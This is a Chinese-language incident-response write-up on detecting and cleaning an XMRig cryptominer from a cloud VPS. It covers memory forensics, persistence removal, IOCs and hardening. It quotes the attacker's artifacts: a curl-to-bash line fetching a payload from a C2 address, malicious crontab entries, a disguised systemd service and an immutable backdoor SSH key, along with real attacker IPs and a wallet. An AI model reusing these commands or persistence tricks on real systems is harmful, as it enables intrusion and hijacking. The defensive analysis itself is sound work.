2026-08 挖矿木马入侵定位与清除实录(XMRig / supportxmr)
⚠️ 仅本机使用:本文含真实 IOC(攻击者 IP、钱包地址)、真实主机路径与会话记录,勿外传。
机器:华为云 ECS
hcss-ecs-3816,2 核 Ubuntu(kernel 6.8.0-106-generic),root 直连
事故时间线:约 2026-08-23 感染 → 2026-08-24 14:03 用户反馈"会话卡死" → 14:26 清理完毕
关联阅读:脱敏叙事版见 public/guides/2026-08-two-core-vps-miner-hunt.md
一、症状与第一现场
用户反馈是"之前的 opencode 会话是不是卡死了"。上机第一件事不是重启任何东西,而是确认三件事:现在谁在吃 CPU、历史负载什么样、有没有僵尸/D 状态进程。
ps aux --sort=-%cpu | head -20 # 按 CPU 排序找大户
sar -q | tail -15 # sysstat 历史负载,回答"之前是不是真的卡"
ps axo pid,stat,cmd | awk '$2 ~ /D|Z/' # 排除不可中断/僵尸进程
结果非常典型:
- PID 1194,进程名
c572e6c1,CPU 常驻 95.7%,累计 CPU 时间 1050 分钟——而机器总共才 2 核; sar -q显示全天 load 在 5~8 之间(2 核的机器),5 分钟/15 分钟负载长期倒挂;sar -u里 sys 占 40%+。结论:opencode 本身没毛病,是机器被吃满了导致一切交互都慢得像卡死;- 无 D/Z 状态进程,排除内核级卡死。
所以排查挖矿的第一课:用户说"卡死",先看 load 历史,再看 CPU 大户。sar 数据能直接区分"这次卡"还是"一直卡"。
二、从可疑进程到实锤
2.1 定位文件落点
c572e6c1 这种随机十六进制进程名本身就是红旗(正常软件不会叫这个名)。查它的真身:
ls -l /proc/1194/exe /proc/1194/cwd
# exe -> /var/tmp/71bb495c/c572e6c1 ← 隐藏目录 + 随机名,经典矿马落点
tr '\0' ' ' < /proc/1194/cmdline # 命令行只有进程名自己,无参数
紧接着查持久化和外联:
crontab -l # 发现 4 条恶意任务
ss -tnp | grep ESTAB
crontab 内容(已备份至本机 /tmp/opencode/crontab.evidence.bak):
@daily /var/tmp/71bb495c/./3fdcbbb5 > /dev/null 2>&1 & disown
@reboot /var/tmp/71bb495c/./3fdcbbb5 > /dev/null 2>&1 & disown
* * * * * /var/tmp/71bb495c/./3fdcbbb5 > /dev/null 2>&1 & disown
@monthly /var/tmp/71bb495c/./3fdcbbb5 > /dev/null 2>&1 & disown
每分钟一条 + 开机一条 + 日/月兜底,四重保险。网络侧有一条到 85.11.167.190:443 的 ESTAB 长连接(无 PTR 记录)。
2.2 内存取证:不开样本也能定罪
两个样本都是静态链接、无 section header 的 ELF(加壳抹痕迹),strings 抠不出明文配置。但矿机跑着呢,配置必然在内存里。以 root 直接读 /proc/PID/mem:
import re
pid = 1194
maps = []
for l in open(f'/proc/{pid}/maps'):
p = l.split()
if 'r' not in p[1]: continue # 只扫可读段
s, e = p[0].split('-')
maps.append((int(s,16), int(e,16)))
mem = open(f'/proc/{pid}/mem','rb',0)
pools, wallets = set(), set()
for s,e in maps:
try:
mem.seek(s); data = mem.read(e-s)
except Exception: continue
pools.update(re.findall(rb'stratum[+a-zA-Z]*://[\x21-\x7e]{5,120}', data))
wallets.update(re.findall(rb'\b[48][1-9A-HJ-NP-Za-km-z]{94}\b', data))
print(pools); print(wallets)
一击命中三个铁证:
| 证据 | 值 |
|---|---|
| Monero 钱包 | 87Fxj6UDiwYchWbn2k1mCZJxRxBC5TkLJQoP9EJ4E9V843Z9ySeKYi165Gfc2KjxZnKdxCkz7GKrvXkHE11bvBhD9dbMgQe |
| 矿池 | 明文 pool.supportxmr.com(知名 XMR 矿池) |
| 配置名 | xmrig.json —— 本体就是开源挖矿框架 XMRig 加壳魔改 |
这招的价值在于全程静态:不执行样本、不依赖杀软、不碰加壳问题,直接问运行中的进程本人。
2.3 目睹目录轮换
分析期间目录名当着面换了三轮:71bb495c → e42d600e → e2d1af92。对照 crontab 才看懂机制:投放器每次被 cron 拉起,就把自己部署到一个新的 /var/tmp/<随机hex>/,并同步改写 crontab 里的路径。这意味着单纯删目录毫无意义——下一分钟它换个名字满血复活。清除顺序必须是:先断持久化 → 再杀进程 → 最后删文件。
三、完整攻击链
顺藤摸瓜又挖出两层更深的后门,整个链条如下:
[初始入侵] SSH root 密码爆破成功(22 端口公网暴露,auth.log 中可见持续爆破)
│
[驻留①] /etc/systemd/system/myservices.service(伪装名,Restart=always 每30分钟拉起)
│ └─ ExecStart=/bin/bash /usr/bin/ssshd ← 三个s,伪装 sshd
│ └─ curl -s 195.24.237.240/.x/black3 | bash
│ (备用域:digital.digitaldatainsights.org)
│
[驻留②] root crontab 四条定时任务 → 投放器 3fdcbbb5(UPX 加壳)
│ └─ 每次运行:新随机目录部署 + 改写 crontab 路径 + 守护矿机
│
[变现] c572e6c1 = 加壳 XMRig → supportxmr.com → 攻击者 XMR 钱包
│
[保险丝] /root/.ssh/authorized_keys 注入公钥 "ElPatrono1337"
└─ chattr +ia 上锁防删(immutable + append-only)
几个值得记住的细节:
/usr/bin/ssshd是个 bash 一行流:从 C2 拉第二阶段脚本管道给 bash,C2 失联时切备用域名。清理时它已经下线(curl 无响应),但服务框架还在,照样要拆。- 公钥上了双锁:
chattr +ia。rm报Operation not permitted且 root 也删不掉,就是 immutable 标志在作怪。先chattr -ia解锁再删。 - 感染时间推断:恶意文件 mtime 统一是 Aug 23 05:39(大概率被
touch -r伪造过,仅作参考)。auth.log 里用户自己的登录全部来自固定 IP 且均为密码认证,无陌生 IP 成功登录记录——入侵途径基本锁定为密码爆破。 - 清理当时仍在挨打:
213.5.130.217正在对 root 做实时爆破(Failed password 刷屏)。门没锁,屋里的贼清了还会再来。
四、清除操作全记录(按执行顺序)
顺序即安全:先断持久化防止复活,再杀进程,最后删文件。反过来做就是打地鼠。
# 1. 取证备份(清空前留底)
crontab -l > /tmp/opencode/crontab.evidence.bak
cp /root/.ssh/authorized_keys /tmp/opencode/authorized_keys.evidence.bak
# 2. 断持久化①:清空 root crontab(其他用户 crontab 与 /etc/cron.d 已逐一核查干净)
echo '# miner cleanup' | crontab -
# 3. 杀进程(见下方踩坑说明)
pkill -9 -f 'c572e6c1|3fdcbbb5'
# 4. 删投放物
rm -rf /var/tmp/e2d1af92 /var/tmp/71bb495c /var/tmp/e42d600e /var/tmp/67c3a59d
# 5. 断持久化②:拆除假 sshd 服务
systemctl stop myservices.service && systemctl disable myservices.service
rm -f /etc/systemd/system/myservices.service /usr/lib/systemd/system/myservices.service
systemctl daemon-reload
rm -f /usr/bin/ssshd
# 6. 断保险丝:解锁并移除后门公钥
chattr -ia /root/.ssh/authorized_keys
grep -v 'ElPatrono1337' /root/.ssh/authorized_keys > ak.new # 过滤而非整删,防止误伤自有key
# (本例过滤后为空,且确认用户全部为密码登录,故整个文件删除)
# 7. daemon-reload 后复查 systemd 单元已消失
systemctl status myservices.service # → Unit could not be found ✓
踩坑实录:pkill -9 -f 自匹配。第 3 步实际执行时,pgrep -af 'c572e6c1|3fdcbbb5' 把我自己那条包含关键字的 shell 命令也匹配了进去(PID 89264 是正在执行命令的 bash),pkill -9 连自己的父 shell 一起带走,导致命令超时。事后验证目标进程确实已死,但正确姿势应该是用精确匹配或排除自身:
pkill -9 -x c572e6c1 # -x 精确匹配进程名
# 或
kill -9 $(pgrep -x c572e6c1)
五、验证闭环
清理不是做完就算,要有前后对比数据:
ps axo pid,cmd | grep -E 'c572|ssshd' | grep -v grep # 无残留进程
ss -tnp | grep '85.11.167.190' # 矿池连接消失
uptime # load: 7.53 → 0.94(几分钟内)
sar -u 1 2 # CPU 空闲率回升到 85%
grep -rl '195.24.237.240\|ElPatrono1337\|3fdcbbb5' /etc /usr/local/bin /opt /root # 全盘无残留引用
另外做了横向排查,均干净:UID=0 账号仅 root、ld.so.preload 不存在、全系统无可疑 immutable 文件、无其他 authorized_keys、systemd enabled 单元逐个过目无异样。
六、IOC 速查表
| 类型 | 值 | 说明 |
|---|---|---|
| 文件 | /var/tmp/<hex8>/c572e6c1 |
加壳 XMRig 矿机本体(目录名动态轮换) |
| 文件 | /var/tmp/<hex8>/3fdcbbb5 |
UPX 加壳投放器/看门狗 |
| 文件 | /usr/bin/ssshd |
二阶段下载器(bash 一行流) |
| 服务 | myservices.service |
伪装 sshd 的驻留项,RestartSec=1800 |
| C2 | 195.24.237.240/.x/black3 |
二阶段脚本分发 |
| C2备 | digital.digitaldatainsights.org/.x/black3 |
备用分发域名 |
| 矿池 | supportxmr.com / 85.11.167.190:443 |
XMR 矿池及节点 |
| 钱包 | 87Fxj6UDiwYchWbn2k1mCZJxRxBC5TkLJQoP9EJ4E9V843Z9ySeKYi165Gfc2KjxZnKdxCkz7GKrvXkHE11bvBhD9dbMgQe |
攻击者收益地址 |
| 公钥注释 | ElPatrono1337 |
后门 SSH key 标识 |
| 爆破源 | 213.5.130.217 等 |
清理当日仍在活跃爆破 |
七、遗留风险与加固清单
木马清了,门还开着。按优先级:
- 【高】SSH 防线:当前 root + 密码认证暴露公网,这是本次入侵的根本原因。任选其一或叠加:
- 云安全组把 22 端口限制为常用出口 IP;
PasswordAuthentication no改纯密钥登录(先把自己的公钥放进去再改!);- 装 fail2ban 自动封爆破 IP。
- 【高】改 root 强密码:爆破正在进行时,弱密码等于裸奔。
- 【中】评估重装:root 已被完全控制过,攻击者理论上可以埋下未发现的更深后门(内核模块、被替换的系统二进制)。本次虽经全面排查未见异常,但"没找到"不等于"不存在"。重要数据备份后重装是最干净的方案。
- 【低】顺手项:
opencode-web.service以明文环境变量携带访问密码且监听 0.0.0.0:4096,建议确认该端口是否对公网开放;取证材料在/tmp/opencode/(原 crontab、原公钥、样本二进制),上报云厂商或深分析前别删。
No comments yet. Be the first!